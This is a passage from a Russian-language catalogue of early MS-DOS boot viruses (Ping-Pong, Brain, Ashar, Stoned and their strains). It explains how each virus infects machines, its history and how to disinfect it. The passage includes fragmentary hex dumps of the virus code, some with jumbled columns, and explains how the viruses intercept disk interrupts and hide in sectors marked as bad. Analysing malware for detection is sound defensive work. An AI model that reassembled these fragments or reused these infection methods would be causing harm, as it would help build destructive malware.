ЭВМ, а если ЭВМ включена в состав локальной вычислительной сети, то возможен переход вируса на любую другую машину сети, в том числе и на головную. Правда, обычно заражение скрытых системных файлов довольно легко распознается, так как одна из первых же перезагрузок пораженной операционной системы приводит к срабатыванию вируса и, как правило, к потере информации на носителе (ничего себе легкое распознавание ! - БНН). Отметим, что большинство вирусов, заражающих скрытые системные файлы, относятся к классам вирусов, либо повреждающих системные области дисков, либо форматирующих диски.". Опыт автора показывает, что в случае поражения обычными файловыми вирусами (резидентные вирусы, заражающие файлы при открытии заражают указанные системные файлы при их копировании) скрытых файлов операционная система становится неработоспособной. Специальных вирусов, рассчитанных именно на заражение скрытых файлов, в настоящее время не существует (возможно, потому, что слишком мала инфицирующая способность такого вируса - меньше чем у бутового). Единственный специализированный вирус, заражающий командный процессор (Lеhigh), по данным П.Хофман, можно считать практически уничтоженным. В нашу страну он пока не попадал. 7. КАТАЛОГ БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В СССP В настоящее время можно выделить четыре группы бутовых вирусов: итальянскую, пакистанскую, новозеландскую и индийскую. 7.1. Итальянская группа Итальянская группа представляет собой бутовые вирусы, демонстрирующие интересный визуальный эффект: во время работы пользователя ни с того ни с сего на экране появляется хаотически движущееся на экране светлое пятно (мячик). Первым и наиболее распространенным представителем этой группы является вирус Bx1-1C, на примере которого мы и рассмотрим эту группу. 7.1.1. Вирус Bx1-1C (Ping-Pong - Пинг-понг; Italian Bouncing - Итальянский попрыгунчик) Неформальные названия данного вируса связаны с тем, что вирус визуально проявляется в виде светлого ромбика на экране дисплея, двигающегося в случайном направлении и "отражающегося" от символов псевдографики. Формально данный вирус относится к резидентным бутовым вирусам типа Вx1: он заражает как дискеты, так и винчестер, а его хвост расположен в одном кластере, помеченном как сбойный, как на дискетах, так и на винчестере. Дамп головы и хвоста вируса приведены ниже. Как уже указывалось, инфицируются любые дискеты, а не только системные. Оригинальный бутсектор находится во втором секторе сбойного класера, что позволяет использовать его при восстановлении с помощью Norton Utilities или PC Tools. Длина вируса составляет 1536 (600h) байт. Перехватывает прерывания 10h и 13h. Когда происходит загрузка с зараженного диска, сначала считывается голова вируса, которая размещается по адресу 0000:7C00 и управление передается на начало вируса. Вирус определяет объем памяти компьютера (слово по адресу 0040:0013) и уменьшает его значение на 2, резервируя место размером 2K под свою копию. Затем вирус копирует себя в зарезервированную область, передает туда управление, ищет свою вторую часть на диске, дописывает к себе свое продолжение и считывает оригинальный бутсектор (второй сектор псевдосбойного кластера с хвостом вируса) в память по адресу 0000:7C00. Затем вирус перехватывает прерывание 13h с тем, чтобы контролировать обращения к диску и запускает стандартный системный загрузчик ( передавая управление на адрес 0000:7C00), который, в свою очередь, загружает IBMIO.COM и IBMDOS.COM (или IO.SYS и MSDOS.SYS), т.е. происходит стандартная загрузка системы. В дальнейшем, в процесс работы пользователя на ЭВМ, вирус активируется всякий раз, когда выполняется операция чтения с дискеты. Получив управление, вирус анализирует, относится ли оно к дискете или к винчестеру. Если это прерывание относится к дискете, то сначала вирус проверяет, заражена уже данная дискета или нет. Для этой цели считывается бутсектор и проверяются его содержимое. Если дискета еще не заражена, то вирус заражает дискету, а затем обрабатывает команду READ. В случае, если дискета уже заражена, вирус сразу переходит к обработке команды READ; так же он поступает в случае, если дискета защищена от записи. Заражение выполняется следующим образом. Сначала вирус копирует оригинальный бутсектор в оперативную память. Затем вирус ищет свободный кластер, который он может пометить как сбойный. Если ни одного свободного кластера на дискете нет, то заражения не происходит. Если подходящий кластер найден, то вирус копирует туда оригинальный бутсектор и свoй хвост (в первый сектор кластера записывается хвост, а во второй сектор - оригинальный бутсектор). Для того чтобы занятый вирусом кластер не был использован MS DOS при создании нового файла, вирус помечает этот кластер как сбойный. И, наконец, вирус записывает свою голову в бутсектор заражаемого диска, предварительно записав в ней номер кластера, содержащего хвост вируса. Заражение дискет происходит стандартным образом: при обращении к дискете. Заражаемые дискеты должны иметь 512 сектора и 2 сектора в кластере. При заражении винчестера вирус анализирует в MBR таблицу разделов (Partition Table) и определяет положение бутсектора на винчестере. Стадия проявления у данного вируса наступает через случайный промежуток времени, варьирующийся от десятков минут до десятков часов. Условия активизации точно автору не известны. Как уже указывалось, стадия проявления заключается в появлении на экране светлого ромбика(знак 07h ASCII), который хаотически движется по диагоналям, отражающегоcя от границ экрана и символов псевдографики. При этом не имеет значения тип установленного адаптера. Ромбик беспрепятственно проходит сквозь обычные символы; однако в некоторых случаях он изменяет цвет символа или заменяет символ собой, искажая в последнем случае содержимое экрана. При редактировании это совсем не безобидные изменения, поскольку при записи в память искажения сохраняются. Поэтому можно исказить редактируемый текст, работая на зараженной машине. Если экран находится в графическом режиме, то движущийся ромбик изменяет цвет полей, через которые он проходит. Для некоторых игр это приводит к быстрому окрашиванию экрана в черный цвет, что делает невозможным продолжение игры. Как уже указывалось изменение цвета наблюдается и в текстовом режиме, когда ромбик, "проходя сквозь символ", также меняет его цвет. Это часто наблюдается со стандартной подсказкой DOS. В теле вируса имеется экзотическая команда, которую выполняет микропроцессор 8086/8088 и не выполняет микропроцессор 80286. Поэтому вирус работоспособен только на машинах класса XT. При попытке загрузиться с зараженной дискеты на IBM PC/AT система зависает. Исторические замечания. Данный вирус появился на Западе примерно в конце 1987 г. В СССР появился в конце 1988 г. (в Киеве в начале 1989 г.). Поскольку вирус достаточно распространен в соцстранах, то он, несомненно, попадал в СССР неоднократно с различными программными средствами. Первым и достаточно удачным фагом для этого вируса, появившимся в Киеве, была зарубежная программа PNCL, см. СП 1-1. Поскольку данный вирус является одним из самых распространенных бутовых вирусов, имеются многочисленные штаммы. Неформальные названия. Для данного вируса существует порядка десятка неформальных названий. Среди них: Bouncing Dot - Танцующий зайчик; Bouncing Ball - Прыгающий мячик; Italian Bouncing Итальянский попрыгунчик; Ball - Мячик, Vera Cruz - Вера Круз, Italian - Итальянский. Полидетектор SCAN опознает этот вирус как "Ping Pong Virus - Version B [Ping]". Методы и программные средства защиты. Вирус можно идентифицировать путем визуального просмотра содержимого бутсектора (использовать Norton Utilities удобнее чем PCTools). При проверке полученных дискет удобнее всего сравнивать первые три байта (J-сигнатуру) дампа. Norton Utilitis (NU), которая выдает FAT в "полуинтерпретированном" виде и позволяет сразу определить номер кластера, помеченного как сбойный, что облегчает его поиск и анализ. Как уже указывалось, вирус хранит содержимое нормального бутсектора во втором секторе своего сбойного кластера. Поэтому можно дезинфицировать зараженные дискеты, переписывая второй сектор сбойного кластера в бутсектор. Эту операцию можно выполнить, например, с помощью Norton Utilities. Затем необходимо исправить в FAT сбойный кластер на FFF (тем самым он становится "потерянным") и превратить его в файл, запустив утилиту CHKDSK с параметром /F, и наконец, удалить полученный файл с тем, чтобы бывший сбойный кластер попал в пул свободных кластеров. Имеется также специальная утилита для удаления сбойный секторов. Полифаг AIDSTEST и другие сопровождаемые полифаги распознают и уничтожают этот вируса, предварительно нейтрализуя его в памяти. Тем не менее лучше выполнять эту операцию, загрузивщись с защищенной от записи эталонной MS DOS. Возможно вакцинирование дискеты от данного вируса, однако оно существенного значения не имеет, поскольку при минимальных мерах предосторожности (обязательное использование при копировании программ с дискет защитных наклеек, контроль бутсектора), распространения этого вируса, как и любого, бутового вируса можно избежать. Дамп головы вируса Bx1-1C 000: 010: 020: 030: 040: ... 120: 130: 140: 150: 160: 170: 180: 190: EB1C90504320546F 027000D002FD0200 8ED0BC007C8ED8A1 B106D3E02DC0078E 01F3A58EC80E1FE8 .. .. .. .. F77DFE5A595B5807 02B600B90100E88A BEBE81B90400807C 740683C610E2EFC3 E860FFBE0280BF02 FC8157137515803E A3F57D8B36F981E9 0275F7803E0D8002 6F6C730002020100 09000200000033C0 13042D0200A31304 C0BE007C8BFEB900 000032E4CD138026 .. .. .. .. 1FEA1B0300C8B801 FFF606F87D807423 0401740C807C0404 8B148B4C02B80102 7CB91C00F3A4813E FB8100730DA1F581 0801C3813E0B8000 72F08B0E0E80A010 ...PC Tools..... .p............3. ....|.....-..... ....-......|.... ..........2....& . . . . . . . . .}.ZY[X......... ............}.t# .......|..t..|.. t..........L.... .`......|......> ..W.u..>...s.... ..}.6.......>... .u..>...r....... 1A0: 1B0: 1C0: 1D0: 1E0: 1F0: 8098F726168003C8 FF01BB0002F7F303 2B06F57D8A1E0D7C F88026F77DFB3DF0 BE01008B1E0E7C4B FEEB0D01000C0001 B82000F726118005 C8890EF57DA1137C 33D232FFF7F3408B 0F7605800EF77D04 891EF37DC606B27E 00240200571355AA ...&..... ..&... ............}..| +..}...|3.2...@. ..&.}.=..v....}. ......|K...}...~ .........$..W.U. Хвост вируса, записанный в "псевдосбойном" кластере 000: 010: 020: 030: 040: 050: 060: ... FF06F37D8B1EF37D EB39B80300F606F7 E82A26B27E8BD881 80F606F77D04750D D3EA80E60FF7C2FF C3BAF7FFF606F77D F7C601007402D3E2 .. .. .. .. 8006B27E02E88DFE 7D04740140F7E6D1 FBFF0173D38B9700 B104F7C601007402 FF7406463BF776C2 04750D80E60FB104 099700808B1EF37D .. .. .. .. ...}...}...~.... .9......}.t.@... .*&.~......s.... ....}.u.......t. .........t.F;.v. .......}.u...... ....t..........} . . . . . . . . 7.1.2. Штамм Bx1-1C-b (Ping-Pong modified by Yankee Doodle - Пинг-понг, модифицированный вирусом Янки Дудль) В данном штамме имеются изменения, вносимые вирусами подгруппы музыкальных самоедов. Изменения состоят в введении счетчика, увеличивающегося на единицу при каждом заражении. При достижении счетчиком значения 255 вирус теряет способность к дальнейшему размножению. Исторические замечания. Выделен и изучен И.Сысоевым. Приводимые сведения опираются непосредственно на его сообщение на семинаре. Неформальные названия. Помимо приведенного выше, отсутствуют. Методы и программные средства защиты. Рекомендуется использовать полифаг AV. 7.1.3. Штамм Bx1-1C-с (Hacked Ping-Pong - Искромсанный пинг-понг) Данный штамм является версией оригинального вируса, в котором непосредственно в загрузочном модуле сделаны изменения, направленные на стирание первых секторов диска при нажатии клавиши Scroll Lock. Из-за ошибок при коррректировании загрузочного модуля "по живому" данный штамм только размножается. Впрочем возможно имеется и "доработанная" версия. Исторические замечания. Выделен и изучен И.Сысоевым. Приводимые сведения опираются непосредственно на его сообщение на семинаре. Неформальные названия. Помимо приведенного выше, отсутствуют. Методы и программные средства защиты. Рекомендуется использовать полифаг AV. 7.1.4. Штамм Bx1-1C-d (Double Ping-pong - двойной пинг-понг) Данный штамм светлых пятен. отличается от предыдущего наличием двух движущихся 7.2. Пакистанская группа Представители пакистанской группы вирусов отличаются тем, что они не заражают винчестер, заражая только дискеты. Первым представителем этой группы является вирус Dx3-E9. 7.2.1. Вирус Dx3-E9 (Singapore Brain Сингапурский вариант Душманских мозгов) Вирус Dx3-E9 во многом аналогичен вирусу Bx1-1C, однако в отличие от Bx1-1C, он никогда не инфицирует винчестер. Он заражает только 40 дорожечные двухсторонние 9-ти секторные дискеты (360K), которые были сформатированы MS DOS. При заражении дискеты ее имя меняется на (С)BRAIN, чем и определяется неформальное название вируса. Рассматриваемый штамм появился несколько позднее оригинальной версии и имеет, по-видимому, сингапурское происхождение. На дискетах хвост вируса расположен в трех кластерах (шести секторах), помеченных как сбойные. На зараженной ЭВМ вирус уменьшает обьем доступной памяти на 7К. В отличие от Bx1-1C, на инфицированной MS DOS (с вирусом, находящемся в старших адресах памяти) невозможно прочитать инфицированный бутсектор. В случае, когда делается такая попытка, Dx3-E9 перенаправляет запрос на чтение в оригинальный бутсектор, хранящийся в одном из сбойных кластеров. Поэтому непременным условием анализа является предварительная загрузка MS DOS с незараженной дискеты, защищенной от записи. Процесс загрузки в память для данного вируса полностью аналогичен вирусу Bx1-1C. После того, как вирус стал резидентным, он активируется при возникновении прерывания по чтению. Получив управление по этому прерыванию, он анализирует, относится ли оно к дискете или к винчестеру. Если это прерывание относится к дискете, то сначала вирус проверяет, заражена уже данная дискета или нет. Для этой цели считывается бутсектор и проверяются его четвертый и пятый байты (в зараженной дискете там находится подпись "1234", которая при просмотре дампа имеет вид 3412). Если подпись отсутствует, то вирус заражает дискету, а затем обрабатывает команду READ. В случае, если дискета уже заражена, вирус обрабатывает команду READ; так же он поступает в случае, если дискета защищена от записи. Основное отличие в функционировании заключается в том, что при заражении дискеты вирус ищет не один, а три последовательных свободных кластера. Если их нет, то заражения не происходит. Однако, если есть лишь один свободный кластер, который не относится к двум последним кластерам дискеты, то вирус использует его, затирая два соседних кластера и отмечая все три как сбойные. Очевидно, что соответствующий файл(ы) повреждается и диск будет копироваться с ошибками. Вирус может длительное время находиться в стадии размножения. Фаза проявления состоит в переименовании заражаемых дискет. Также как и Bx1-1C, вирус Dx3-E9 может загружаться с несистемной дискеты. При этом после загрузки вирус выдает сообщение: Please Insert a Bootable disk Then Type [Return] Хотя размер вируса достигает 3К, менее половины кода вируса действительно выполняется. Часть кода похоже не получает управления ни при каких обстоятельствах и, возможно, вставлена для затруднения дисассемблирования и анализа. Исторические замечания. Оригинальная версия вируса Dx3-E9 является первым бутовым вирусом для MS DOS, получившим массовое распространение и была выявлена в США в октябре 1987 г., где она вызвала своего настоящую эпидемию. Название Brain связано с тем, что он присваивает имя Brain любой зараженной дискете. Это один из немногих вирусов, для которых установлены авторы: Basit Farood Alvi (19 лет) и Bruder Amgad (23 года) из Лахора (Пакистан). Поэтому иногда этот вирус называют "Душманские мозги". П.Хофман отмечает наличие ряда штаммов: 1. Brain-B/Hard Disk Brain/Houston Virus - штамм заражающий винчестер; 2. Brain-C - доработанный штамм Brain-B, в котором метка "(c) Brain" удалена; 3. Clone Virus - доработанный штамм Brain-C, в котором опять восстановлена оригинальная метка; 4. Clone-B - наиболее опасный штамм - версия Clone Virus модифицированная так, что она уничтожает FAT винчестера после 5.05.92. Рассматриваемый сингапурский штамм Dx3-E9 был первым штаммом BRAIN, обнаруженным в СССР. Его выделил А.Сесса в Днепропетровске в начале сентября 1989 г. на "дистрибутивных" дискетах с пакетами Dr. Halo III и GeniScan Edit, входивших в поставочный пакет сканера фирмы Genius. По данным А.Сессы вирус попал в Днепропетровск вместе с компьютерами, привезенными из Тайваня на компьютерную ярмарку. Первым детектором для данного вируса был полидетекторор SCAN, а первым фагом - программа NOBRAIN. Как детектор, так и фаг были известны до появления вируса (распространялись через СОФТПАНОРАМУ в сентябре-октябре 1989 года). Неформальные названия. Помимо приведнного в заголовке, используется название Brain-88 - Душманские мозги-88. Методы и программные средства защиты. Рекомандуемые полифаги приведены в прил.2. Как уже указывалось, вирус нельзя идентифицировать путем визуального просмотра содержимого бутсектора, например, с помощью PCTools, на зараженной машине; его можно определить, только загрузившись с системной защищенной дискеты. Поскольку вирус размещает в соответствующих байтах бутсектора свою подпись, можно вручную вакцинировать дискеты, исправляя соответствующие байты бутсектора. Бутсектор, зараженный вирусом Brain 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: 100: 110: 120: 130: 140: FAE94A0134120102 2020202020205765 207468652044756E 2020202020202020 2020202020202020 2028432920313938 2620416D6A616420 642E202020202020 20425241494E2043 5345525649434553 5A414D20424C4F43 20495142414C2054 2020202020202020 2C50616B69737461 33303739312C2034 6572202853696E67 426577617265206F 7669727573222E20 7472616E73666572 696F6E206F662044 2E2E2E2E20242340 0600010020202000 6C636F6D6520746F 67656F6E20202020 2020202020202020 2020202020202020 3820426173697420 2870767429204C74 2020202020202020 4F4D505554455220 2E2E373330204E49 4B20414C4C414D41 4F574E2020202020 20204C61686F7265 6E2E2050683A2034 34333234382E2056 61706F7265292020 6620746869732022 49742077696C6C20 20746F206D696C6C 69736B6574746573 2524402121208CC8 ..J.4....... . Welcome to the Dungeon (C) 1988 Basit & Amjad (pvt) Lt d. BRAIN COMPUTER SERVICES..730 NI ZAM BLOCK ALLAMA IQBAL TOWN Lahore ,Pakistan. Ph: 4 30791, 443248. V er (Singapore) Beware of this " virus". It will transfer to mill ion of Diskettes .... $#@%$@!! .. ... .. .. .. .. .. .. .. .. . . . . . . . . Фрагменты дампа хвоста вируса Brain, расположенного в псевдосбойных кластерах 55 - 57 +----- начало оригиналь| ного бутсектора 000: EB349049424D4D53 332E330002020100 .4.IBMMS3.3..... 010: 027000D002FD0200 0900020000000000 .p.............. 020: 0000000000000000 0000000000000012 ................ 030: 000000000100FA33 C08ED0BC007C1607 .......3.....|.. 040: BB780036C5371E56 1653BF2B7CB90B00 .x.6.7.V.S.+|... 050: FCAC26803D007403 268A05AA8AC4E2F1 ..&.=.t.&....... 060: 061F894702C7072B 7CFBCD137267A010 ...G...+|...rg.. ... .. .. .. .. .. .. .. .. . . . . . . . . 150: 1A7C88162A7CA339 7CC3B4028B16397C .|..*|.9|.....9| 160: B106D2E60A363B7C 8BCA86E98A16FD7D .....6;|.......} 170: 8A362A7CCD13C30D 0A4E6F6E2D537973 .6*|.....Non-Sys 180: 74656D206469736B 206F72206469736B tem disk or disk 190: 206572726F720D0A 5265706C61636520 error..Replace 1A0: 616E642073747269 6B6520616E79206B and strike any k 1B0: 6579207768656E20 72656164790D0A00 ey when ready... 1C0: 0D0A4469736B2042 6F6F74206661696C ..Disk Boot fail 1D0: 7572650D0A004942 4D42494F2020434F ure...IBMBIO CO 1E0: 4D49424D444F5320 20434F4D00000000 MIBMDOS COM.... 1F0: 0000000000000000 00000000000055AA ..............U. ... .. .. .. .. .. .. .. .. . . . . . . . . 00: EB26202843292031 3938382042617369 .& (C) 1988 Basi 210: 74202620416D6A61 6420287076742920 t & Amjad (pvt) 220: 4C74642E00040100 2EC60625021F33C0 Ltd........%..3. ... .. .. .. .. .. .. .. .. . . . . . . . . 340: 0000000000000000 0000000000000000 ................ 350: EB25900300202843 2920313938382042 .%... (C) 1988 B 360: 6173697420262041 6D6A616420287076 asit & Amjad (pv 370: 7429204C746420E8 AD00A1BE063DFDFF t) Ltd ......=.. ... .. .. .. .. .. .. .. .. . . . . . . . . 490: 036B000303BE0E01 000101E0D89DD7E0 .k.............. 4A0: 9F8D989F8EE02028 432920427261696E ...... (C) Brain 4B0: 2024E8DB00720A57 E81F005F7203E8D7 $...r.W..._r... 4C0: 00C3BB9B04B90B00 8A07F6D888044643 ..............FC ... .. .. .. .. .. .. .. .. . . . . . . . . 6B0: 6C0: 6D0: 6E0: 09C606090000FE06 9049424D4D53332E 00D002FD02000900 0000000000000000 +----- еще одна копия оригинального | бутсектора 0B00C3647461EB34 ...........dta.4 3300020201000270 .IBMMS3.3......p 0200000000000000 ................ 0000000000120000 ................ 820: 830: 840: 850: 860: 870: 880: 890: 8A0: 8B0: D2E60A363B7C8BCA 2A7CCD13C30D0A4E 6D206469736B206F 72726F720D0A5265 6420737472696B65 207768656E207265 4469736B20426F6F 650D0A0049424D42 424D444F53202043 0000000000000000 86E98A16FD7D8A36 6F6E2D5379737465 72206469736B2065 706C61636520616E 20616E79206B6579 6164790D0A000D0A 74206661696C7572 494F2020434F4D49 4F4D000000000000 0000000055AA0000 | ...6;|.......}.6 *|.....Non-Syste m disk or disk e rror..Replace an d strike any key when ready..... Disk Boot failur e...IBMBIO COMI BMDOS COM...... ............U... 8C0: 0000000000000000 0000000000000000 *** AB0: AC0: AD0: AE0: AF0: B00: B10: B20: *** ................ следующие строки идентичны предыдущей 0000000000000000 FF03400005600007 0DE0000F00011120 800119A0011BC001 0223400225600227 2DE0022F00033120 70FFF77FFF000000 0000000000000000 000000000000FDFF 800009A0000BC000 0113400115600117 1DE0011F00022120 800229A0022BC002 0333F0FF00000000 0000000000000000 0000000000000000 ................ ..@..`.......... ....... ..@..`.. ..............! .#@.%`.'..)..+.. -../..1 .3...... p..•............ ................ следующие строки идентичны предыдущей BF0: 0000000000000000 0000000000000000 *** *** ................ 7.2.2. Вирус Dx3-E9 (Оригинальная версия BRAIN; Pakistani virus - Пакистанский вирус; Brain-86 - Душманские Мозги-86) Оригинальная версия Brain в СССР, по видимому, не отмечалась. Приводимый ниже фрагмент бутсектора воспроизводится по статье [149]. Исторические замечания. Выделен и изучен И.Сысоевым. Приводимые сведения опираются непосредственно на его сообщение на семинаре. Неформальные названия. Методы и программные средства защиты. Рекомендуется использовать полифаг AV. Голова вируса BRAIN (видна только на незараженной вирусом машине) 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0F0: 100: 110: 120: 130: ... FAE94A0134120102 2020202020205765 207468652044756E 2020202020202020 2020202020202020 2028632920313938 2620416D6A616420 642E202020202020 20425241494E2043 5345525649434553 5A414D20424C4F43 20495142414C2054 2020202020202020 452D50414B495354 45203A3433303739 2C3238303533302E 2020426577617265 2056495255532E2E 637420757320666F .. .. .. .. 2700010000000020 6C636F6D6520746F 67656F6E20202020 2020202020202020 2020202020202020 3620426173697420 2870767429204C74 2020202020202020 4F4D505554455220 2E2E373330204E49 4B20414C4C414D41 4F574E2020202020 2020204C41484F52 414E2E2E50484F4E 312C343433323438 2020202020202020 206F662074686973 2E2E2E436F6E7461 722076616363696E .. .. .. .. ·щJ 4 ' Welcome to the Dungeon (c) 1986 Basit & Amjad (pvt) Lt d. BRAIN COMPUTER SERVICES..730 NI ZAM BLOCK ALLAMA IQBAL TOWN LAHOR E-PAKISTAN..PHON E :430791,443248 ,280530. Beware of this VIRUS.....Conta ct us for vaccin . . . . . . . . 7.2.3. Штамм Dx3-E9 (Ashar - Ашар) Данный штамм отличается от предыдущего тем, что помимо дискет, он заражает и винчестер. Содержит модифицированное по отношению к предыдущему вирусу текстовое сообщение "VIRUS_SHOE RECORD, v9.0. Dedicated to the dynamic memories of millions of virus who are no longer with us today". Последнее, как и в предыдущем случае, не видно при просмотре бутсектора на зараженной машине. Используемое неформальное название связано с строкой "(c) ashar", которая обычно содержится в теле вируса со смещением 04A6h. Исторические замечания. Данный штамм описан П.Хофман в версии от 10.08.90. Широко распространен в США. Имеется версия 9.1, которая в отличие от рассматриваемой версии 9.0 не заражает винчестер. В СССР выделен Д.H.Лозинским в начале 1990 года. Неформальные названия. Помимо приведенного в заголовке, используются названия Shoe_Virus, UIUC Virus Методы и программные средства защиты.См. предыдущий штамм. Дамп штамма Ashar 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: 100: 110: 120: 130: 140: 150: 160: 170: 180: 190: ... FAE94A0134120009 57656C636F6D6520 44756E67656F6E20 2863292031393836 20416D6A61647320 6420202056495255 5245434F52442020 4465646963617465 2064796E616D6963 73206F66206D696C 2076697275732077 6F206C6F6E676572 20746F646179202D 474F4F444E455353 2042455741524520 722E2E5649525553 732070726F677261 6368696E67202020 616D20666F6C6C6F 207468657365206D 2E2E2E2E20242340 8ED88ED0BC00F0FB 077C890E0A7CE857 2A00E84B0081C300 00A31304B106D3E0 B90410FCF3A406B8 .. .. .. .. 1700010000000000 746F207468652020 2020202020202020 20427261696E1726 2870767429204C74 535F53484F452020 2076392E30202020 6420746F20746865 206D656D6F726965 6C696F6E73206F66 686F20617265206E 2077697468207573 205468616E6B7320 2121202020202020 4F46205448452065 20203A205C746869 6D20697320636174 20202070726F6772 7773206166746572 657373656765732E 2524402121208CC8 A0067CA2097C8B0E 00B90500BB007EE8 02E2F4A113042D07 8EC0BE007CBF0000 000250CB5153B904 .. .. .. .. ..J.4........... Welcome to the Dungeon (c) 1986 Brain.& Amjads (pvt) Lt d VIRUS_SHOE RECORD v9.0 Dedicated to the dynamic memorie s of millions of virus who are n o longer with us today - Thanks GOODNESS!! BEWARE OF THE e r..VIRUS : \thi s program is cat ching progr am follows after these messeges. .... $#@%$@!! .. ..........|..|.. .|...|.W......~. *..K..........-. ............|... ..........P.QS.. . . . . . . . . Фрагменты дампа хвоста вируса, расположенного в псевдосбойных кластерах 55 - 57 200: 210: 220: 230: 240: ... 340: EB26286329203139 202620416D6A6164 4C74642000040000 8ED8A14C00A3B401 02A34C008CC8A34E .. .. .. .. 0000000000000000 383620427261696E 7320287076742920 2EC60625021F33C0 A14E00A3B601B876 00B9040033C08EC0 .. .. .. .. 0000000000000000 .&(c) 1986 Brain & Amjads (pvt) Ltd .......%..3. ...L.....N.....v ..L....N....3... . . . . . . . . ................ 350: 360: 370: ... 490: 4A0: 4B0: 4C0: ... EB25900300202863 7261696E20262041 767429204C7464E8 .. .. .. .. 0363000303BE0E01 9F8D989F8EE02028 2024E8DB00720A57 00C3BB9B04B90B00 .. .. .. .. 6B0: 6C0: 6D0: 6E0: ... 830: 840: 850: 860: 870: 880: 890: 8A0: 8B0: ... 09C606090000FE06 9049424D2020332E 00D002FD02000900 0000000000000000 .. .. .. .. 2A7CCD13C30D0A4E 6D206469736B206F 72726F720D0A5265 6420737472696B65 207768656E207265 4469736B20426F6F 650D0A0049424D42 424D444F53202043 0000000000000000 .. .. .. .. 2920313938362042 .%... (c) 1986 B 6D6A616473202870 rain & Amjads (p AD00A1BE063DFDFF vt) Ltd......=.. .. .. .. .. . . . . . . . . 000101E0D89DD7E0 .c.............. 6329206173686172 ...... (c) ashar E81F005F7203E8D7 $...r.W..._r... 8A07F6D888044643 ..............FC .. .. .. .. . . . . . . . . +----- начало оригиналь| ного бутсектора 0B00C3647461EB34 ...........dta.4 3300020201000270 .IBM 3.3......p 0200000000000000 ................ 0000000000120000 ................ .. .. .. .. . . . . . . . . 6F6E2D5379737465 *|.....Non-Syste 72206469736B2065 m disk or disk e 706C61636520616E rror..Replace an 20616E79206B6579 d strike any key 6164790D0A000D0A when ready..... 74206661696C7572 Disk Boot failur 494F2020434F4D49 e...IBMBIO COMI 4F4D000000000000 BMDOS COM...... 0000000055AA0000 ............U... .. .. .. .. . . . . . . . . 7.3. Южнозеландская группа Для данной группы характерно заражение MBR на винчестере и минимальный хвост, размером в один сектор, содержащий только оригинальный бутсектор (или MBR), который размещается не в псевдосбойном кластере, а по определнному абсолютному адресу, приходящемуся на начальные сектора диска. 7.3.1. Вирус M-05 (Stoned - "Забалдевший") Название данного вируса связано с тем, что при загрузке MS DOS с вероятностью 1/8 на экран выдается сообщение "Your PC is now Stoned", после которого, с некоторой задержкой, возрастающей по мере увеличения количества перезагрузок и сопровождающийся характерным звуком выполняется нормальная загрузка. Голова вируса вируса содержит строку "LEGALISE MARIJUANA!". Хвост состоит только из оригинального бутсектора. Заражение дискет выполняется стандартным образом. При заражении винчестера голова вируса записывается в не в бутсектор раздела С, а в абсолютный начальный сектор диска, который на винчестере содержит Partition Table (таблицу разделов диска). Расположение хвоста вируса отличается для дискеты и винчестера. На дискете хвост вируса расположен не в сбойном кластере, а в секторе с абсолютным адресом (цилиндр/дорожка/сектор) 0/1/3 последнем секторе главного каталога дискеты. На винчестере хвост располагается в свободный сектор с абсолютным адресом 0/0/7, который представляет собой неиспользуемое пространство между MBR и началом логического диска С. При заражении дискеты проверок, занят ли указанный выше сектор информацией или нет, вирус не выполняет. Поэтому на дискете, содержащей в главном каталоге много мелких программ, возможно уничтожение части каталога. В случае, если винчестер разбит более чем на четыре логических раздела, содержимое записей PARTITION TABLE всех разделов после четвертого после заражения теряется и информация на них становится недоступной. Информацию об этих разделах можно восстановить с помощью Norton Disk Doctor. Исторические замечания. Вирус M-05 впервые был обнаружен в Веллингтоне (Новая Зеландия) в начале 1988 г. По данным П.Хоффман оригинальный вирус заражал только пятидюймовые дискеты 360K. С этой точки зрения описанный выше вирус следует рассматривать как штамм оригинального (Stoned-B). В нашей стране появился в конце 1989 года практически одновременно в нескольких городах. Имеется несколько штаммов среди которых отметим штамм Stone Rostov, описанный ниже, а также Stoned-C: штамм с удаленным сообщением; Stoned-D : аналогичен описанному выше, однако способен заражать дискеты типа HD (как трех, так и пятидюймовые). Неформальные названия. Помимо приведенных выше встречаются названия: Marijuana - Марихуана, Hawaii - Гаваи, New Zealand Новая Зеландия, San Diego - Сан Диего, Smithsonian. Полидетектор SCAN называет данный вирус "Stoned Virus [Stoned]". Методы и программные средства защиты. Рекомендуемые детекторы и полифаги приведены в прил.2. Простейшим фагом для данного вируса на дискете является команда SYS. Для незагружаемого диска можно вручную стереть бутсектор. Дамп бутсектора дискеты, зараженной вирусом M-05 000: EA0500C007E99900 0043A300F0E40040 .........C.....@ 010: 9F007C00001E5080 FC02721780FC0473 ..|...P...r....s 020: 120AD2750E33C08E D8A03F04A8017503 ...u.3....?...u. 030: E80700581F2EFF2E 0900535152065657 ...X......SQR.VW 040: BE0400B801020E07 BB000233C98BD141 ...........3...A 050: 9C2EFF1E0900730E 33C09C2EFF1E0900 ......s.3....... 060: 4E75E0EB359033F6 BF0002FC0E1FAD3B Nu..5.3........; ... .. .. .. .. .. .. .. .. . . . . . . . . 170: 1F0E07BEBE03BFBE 01B94202F3A4B801 ..........B..... 180: 0333DBFEC1CD13EB C507596F75722050 .3........Your P 190: 43206973206E6F77 2053746F6E656421 C is now Stoned! 1A0: 070D0A0A004C4547 414C495345204D41 .....LEGALISE MA 1B0: 52494A55414E4121 0000000000000000 RIJUANA!........ 1C0: 0000000000000000 0000000000000000 ................ 1D0: 0000000000000000 0000000000000000 ................ 1E0: 0000000000000000 0000000000000000 ................ 1F0: 0000000000000000 0000000000000000 ................ Следует обратить внимание, что в конце зараженного бутсектора отсутствует двухбайтовый признак загружаемого бутсектора 55h AAh. 7.3.2. Штамм "Stone Rostov" Данный штамм практически идентичен базисной версии. Изменена лишь часть кода, связанная с проявлением вируса: данный штамм не содержит ни характерных текстовых строк ни кода, который выводит их на дисплей. Вместо этого вставлен код, который при при загрузке с зараженной дискеты с вероятностью 1/32 стирает на винчестере 8 секторов. 7.3.3. Вирус "PrintScreen" Отличается адресом хранения хвоста на винчестере (1/3/13 вместо 0/0/7 как в оригинальной версии. При этом может уничтожить один из секторов FAT. 7.4. Вирус Bx3-EB (Disk Killer - Диск-киллер) Неформальное название данного вируса связано с содержащимися в его теле текстовыми строками (см. ниже). Формально данный вирус относится к бутовым 